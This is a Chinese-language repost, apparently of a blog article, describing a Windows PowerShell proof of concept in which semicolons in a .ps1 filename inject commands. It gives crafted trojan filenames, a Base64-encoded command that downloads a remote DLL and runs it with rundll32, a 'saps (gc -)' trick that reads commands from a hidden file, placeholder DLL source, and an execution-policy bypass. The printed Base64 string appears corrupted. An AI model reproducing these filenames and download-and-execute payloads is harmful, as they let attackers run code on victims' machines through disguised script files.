Windows PowerShell 文件名代码执行 POC
发现:John Page(又名 hyp3rlinx)2019 年和 2023 年修订
由于它仍然有效,我除尘并做了一些小改进:
使用 rundll32 执行远程 DLL
执行意外的辅助 PS1 脚本或本地文本文件(可以隐藏)
更新了 PS1 木马文件名创建器 Python3 脚本
最早于 2019 年向 Microsoft 报告,但截至撰写本文时仍未修复。
通过特制的文件名远程执行代码。
缺陷是由于分号“;” 我们可以解码 Base64 命令并直接从 PS1 文件名或仅执行命令执行。
Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1
直接调用命令
"Testing;saps (gc -) PoC;.ps1"
矢量图:双击、拖放至PS快捷方式
利用替代的速记 PS 命令,如“saps”、“gc”启动进程和获取内容等。
DLL 执行示例:
创建一个木马 PS1 文件,它将尝试下载并执行名为“1.d”的远程 DLL
Python:
从 base64 导入 b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))
cwBhAHAAcwAgACAAaAB0AHQACAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQabABsADAMAMgAgACQASABPAE0ARQBcAEQABwB3AG4AbABvAGEAZ ABzAFwAMQAuAGQALAgADAA
动态链接库代码:
#include <windows.h>
//gcc -shared -o mydll.dll mydll.c -m32
//hyp3rlinx
void evilo(void){
MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
python -m http.server 80
双击木马 PS1 文件。
文本文件代码执行示例:
创建一个名称包含 saps“启动进程”和 gc“获取内容”的 PS1 文件,这将从隐藏文件中读取命令。
"Test;saps (gc -) PoC;.ps1"
创建隐藏:attrib +s +h "-"
双击或拖放。
要求:
a) PowerShell PS1 文件必须设置为使用 PowerShell 作为默认程序打开
b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy 绕过 -Force
c) 用户必须双击、从 cmd 行运行或拖放恶意命名的 PS1 脚本
https://www.youtube.com/watch?v=-ZJnA70Cf4I
项目地址:https://github.com/hyp3rlinx/PSTrojanFile
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里